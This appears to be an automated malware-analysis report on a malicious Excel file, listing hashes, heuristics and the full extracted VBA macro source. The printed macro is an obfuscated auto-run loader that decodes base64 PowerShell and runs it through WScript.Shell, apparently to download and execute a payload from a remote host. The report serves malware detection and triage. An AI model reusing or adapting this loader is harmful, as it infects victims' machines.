Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c19ba99f545dbe70…

MALICIOUS

Office (OOXML)

16.4 KB Created: 2021-06-24 06:09:17 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-07-02
MD5: 3c4547ca335b7729d05cf17940250dc9 SHA-1: a488cbf110d57c739fa7a6457dedb2df16611b53 SHA-256: c19ba99f545dbe702c1c5fa6570e563ff2345228739841a3eea68187f2050ae6
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The Excel document contains obfuscated VBA macros designed to execute malicious code. The Workbook_Open macro triggers the execution of a shell command via WScript.Shell and CreateObject, likely to download and run a secondary payload. The VBA code is heavily obfuscated, making it difficult to determine the exact payload or destination.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    nukhqraoi = 0
wxifdpxqrifwfeg = "WSCript.shell"
Set ayhpdomqjferrwxlzjnyddallaabjqmkkocccaf = CreateObject(wxifdpxqrifwfeg)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    nukhqraoi = 0
wxifdpxqrifwfeg = "WSCript.shell"
Set ayhpdomqjferrwxlzjnyddallaabjqmkkocccaf = CreateObject(wxifdpxqrifwfeg)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    wxifdpxqrifwfeg = "WSCript.shell"
Set ayhpdomqjferrwxlzjnyddallaabjqmkkocccaf = CreateObject(wxifdpxqrifwfeg)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub workbook_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5353 bytes
SHA-256: 30a789a4c8af07b586dec78700ded251b3c40ba55386c0e71bbe960f87ada289
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()

lzn.pr
dh = 76

End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "lzn"
Sub pr()
On Error Resume Next
kck = d__as(129) & d__as(139) & d__as(130) & d__as(94) & d__as(109) & d__as(161) & d__as(94) & d__as(174) & d__as(173) & d__as(156) & d__as(149) & d__as(156) & d__as(131) & d__as(176) & d__as(145) & d__as(156) & d__as(166) & d__as(163) & d__as(156) & d__as(170) & d__as(138) & d__as(94) & d__as(107) & d__as(163) & d__as(94)
'yoehxhukhnttcvfgiahvekcepdhgzhaban
kck = kck & "WwBzAHkAUwBUAGUATQAuAHQAZQB4AHQALgBlAE4AYwBPAEQAaQBOAGcAXQA6ADoAdQBuAGkAQwBvAEQARQAuAEcAZQB0AFMAdAByAGkAbgBHACgAWwBTAHkAcwB0AGUAbQAuAGMATwBuAHYARQBSAFQAXQA6ADoARgByAG8ATQBCAGEAcwBFADYANABzAFQAUgBJAE4AZwAoACIAWgBnAEIAMQBBAEcANABBAFkAdwBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEAYwBBAEIAMABBAEcANABBAGMAUQBCAGoAQQBDAEEAQQBLAEEAQQBnAEEAQwBRAEEAYwBnAEIAMQBBAEgAZwBBAGIAQQBCADUAQQBHADQAQQBiAHcAQgB4AEEASABBAEEAYwBBAEIANgBBAEcASQBBAFkAdwBCADEAQQBIAEUAQQBJAEEAQQBzAEEAQwBBAEEASgBBAEIAbgBBAEgARQBBAGQAdwBCAHcAQQBHAEUAQQBaAFEAQgB0AEEASABjAEEAZAB3AEIANgBBAEcAWQBBAFoAdwBCADEAQQBHAEkAQQBjAHcAQQBnAEEAQwBrAEEARABRAEEA"
okyrkrgltxjuu = xpcvdlnlmptkcqyqpmgqftiwwvklly
kck = kck & "SwBBAEgAcwBBAEkAQQBCAHAAQQBFADAAQQBVAEEAQgBQAEEASABJAEEAZABBAEEAdABBAEUAMABBAGIAdwBCAEUAQQBGAFUAQQBUAEEAQgBGAEEAQwBBAEEAUQBnAEIAcABBAEgAUQBBAFUAdwBCAFUAQQBIAEkAQQBZAFEAQgBPAEEASABNAEEAUgBnAEIARgBBAEgASQBBAE8AdwBBAE4AQQBBAG8AQQBjAHcAQgBVAEEARQBFAEEAYwBnAEIAVQBBAEMAMABBAFkAZwBCAEoAQQBGAFEAQQBVAHcAQgBVAEEASABJAEEAUQBRAEIATwBBAEYATQBBAFIAZwBCAGwAQQBIAEkAQQBJAEEAQQB0AEEARgBNAEEAVAB3AEIAMQBBAEYASQBBAFEAdwBCAEYAQQBDAEEAQQBKAEEAQgB5AEEASABVAEEAZQBBAEIAcwBBAEgAawBBAGIAZwBCAHYAQQBIAEUAQQBjAEEAQgB3AEEASABvAEEAWQBnAEIAagBBAEgAVQBBAGMAUQBBAGcAQQBDADAAQQBaAEEAQgBsAEEASABNAEEAZABBAEIAcABBAEcANABBAFEAUQBCADAA"
jybplpvftwipnqhaewqtnmntw = 149464
kck = kck & "QQBHAGsAQQBiAHcAQgBPAEEAQwBBAEEASgBBAEIAbgBBAEgARQBBAGQAdwBCAHcAQQBHAEUAQQBaAFEAQgB0AEEASABjAEEAZAB3AEIANgBBAEcAWQBBAFoAdwBCADEAQQBHAEkAQQBjAHcAQQA3AEEAQwBBAEEASgBnAEEAZwBBAEMAUQBBAFoAdwBCAHgAQQBIAGMAQQBjAEEAQgBoAEEARwBVAEEAYgBRAEIAMwBBAEgAYwBBAGUAZwBCAG0AQQBHAGMAQQBkAFEAQgBpAEEASABNAEEATwB3AEEAZwBBAEgAMABBAGQAQQBCAHkAQQBIAGsAQQBlAHcAQQBrAEEARwBvAEEAWQBRAEIAawBBAEcAYwBBAGUAQQBCAHEAQQBIAG8AQQBaAFEAQgB6AEEASABvAEEAWgBnAEIAdABBAEcASQBBAFoAZwBCAGgAQQBHAHcAQQBiAEEAQgA2AEEARAAwAEEASgBBAEIAbABBAEUANABBAFYAZwBBADYAQQBHAEUAQQBjAEEAQgB3AEEARQBRAEEAUQBRAEIAMABBAEcARQBBAEsAdwBBAG4AQQBGAHcAQQBhAEEAQgBqAEEA"
okyrkrgltxjuu = xpcvdlnlmptkcqyqpmgqftiwwvklly
kck = kck & "QwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgB3AEEASABRAEEAYgBnAEIAeABBAEcATQBBAEkAQQBBAG4AQQBHAGcAQQBkAEEAQgAwAEEASABBAEEATwBnAEEAdgBBAEMAOABBAE4AdwBBADUAQQBDADQAQQBNAFEAQQB6AEEARABRAEEATABnAEEAeQBBAEQASQBBAE4AUQBBAHUAQQBEAGcAQQBOAGcAQQA2AEEARABnAEEATQBRAEEAdgBBAEgATQBBAGIAdwBCAGgAQQBEAEkAQQBOAEEAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAEkAQQBBAGsAQQBHAG8AQQBZAFEAQgBrAEEARwBjAEEAZQBBAEIAcQBBAEgAbwBBAFoAUQBCAHoAQQBIAG8AQQBaAGcAQgB0AEEARwBJAEEAWgBnAEIAaABBAEcAdwBBAGIAQQBCADYAQQBEAHMAQQBEAFEAQQBLAEEASABBAEEAZABBAEIAdQBBAEgARQBBAFkAdwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMA"
'yoehxhukhnttcvfgiahvekcepdhgzhaban
kck = kck & "OABBAEwAdwBBADMAQQBEAGsAQQBMAGcAQQB4AEEARABNAEEATgBBAEEAdQBBAEQASQBBAE0AZwBBADEAQQBDADQAQQBPAEEAQQAyAEEARABvAEEATwBBAEEAeABBAEMAOABBAGMAdwBCAHYAQQBHAEUAQQBNAGcAQQAwAEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBhAGcAQgBoAEEARwBRAEEAWgB3AEIANABBAEcAbwBBAGUAZwBCAGwAQQBIAE0AQQBlAGcAQgBtAEEARwAwAEEAWQBnAEIAbQBBAEcARQBBAGIAQQBCAHMAQQBIAG8AQQBPAHcAQQBOAEEAQQBvAEEAYwBBAEIAMABBAEcANABBAGMAUQBCAGoAQQBDAEEAQQBKAHcAQgBvAEEASABRAEEAZABBAEIAdwBBAEQAbwBBAEwAdwBBAHYAQQBEAGMAQQBPAFEAQQB1AEEARABFAEEATQB3AEEAMABBAEMANABBAE0AZwBBAHkAQQBEAFUAQQBMAGcAQQA0AEEARABZAEEATwBnAEEANABBAEQARQBBAEwAdwBCAHoAQQBHADgA"
okyrkrgltxjuu = xpcvdlnlmptkcqyqpmgqftiwwvklly
kck = kck & "QQBZAFEAQQB5AEEARABRAEEATABnAEIAbABBAEgAZwBBAFoAUQBBAG4AQQBDAEEAQQBKAEEAQgBxAEEARwBFAEEAWgBBAEIAbgBBAEgAZwBBAGEAZwBCADYAQQBHAFUAQQBjAHcAQgA2AEEARwBZAEEAYgBRAEIAaQBBAEcAWQBBAFkAUQBCAHMAQQBHAHcAQQBlAGcAQQA3AEEAQQAwAEEAQwBnAEIAOQBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEAIgApACkAfABJAGUAWAA="
jybplpvftwipnqhaewqtnmntw = 149464


wdmcuwluwsdrcaqoupibyvxkwjbalbgoq = kck
xlmgmsbvhqzgmfvmxgzsefezyuw (wdmcuwluwsdrcaqoupibyvxkwjbalbgoq)
End Sub
Sub IF_Not()
    MsgBox Not (True)
End Sub
Function xlmgmsbvhqzgmfvmxgzsefezyuw(tobiebonojosz As String)
nukhqraoi = 0
wxifdpxqrifwfeg = "WSCript.shell"
Set ayhpdomqjferrwxlzjnyddallaabjqmkkocccaf = CreateObject(wxifdpxqrifwfeg)

hbafzivvokrqamtmxbcsvtaqcpzurhnhrvt = ayhpdomqjferrwxlzjnyddallaabjqmkkocccaf.Run(tobiebonojosz, nukhqraoi)
End Function
Function d__as(l__k)
sdf = "dfsgf gddh yuytfh gbdhgf"
d__as = ChrW(l__k - 62)
teyh = "gfdfsgr gfdfsf gfhfgd bcdfg444"
End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 22016 bytes
SHA-256: c3ae36bfae18c3561e1e0426b342565388af542d8d063d8a61eb42b034e66306
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).

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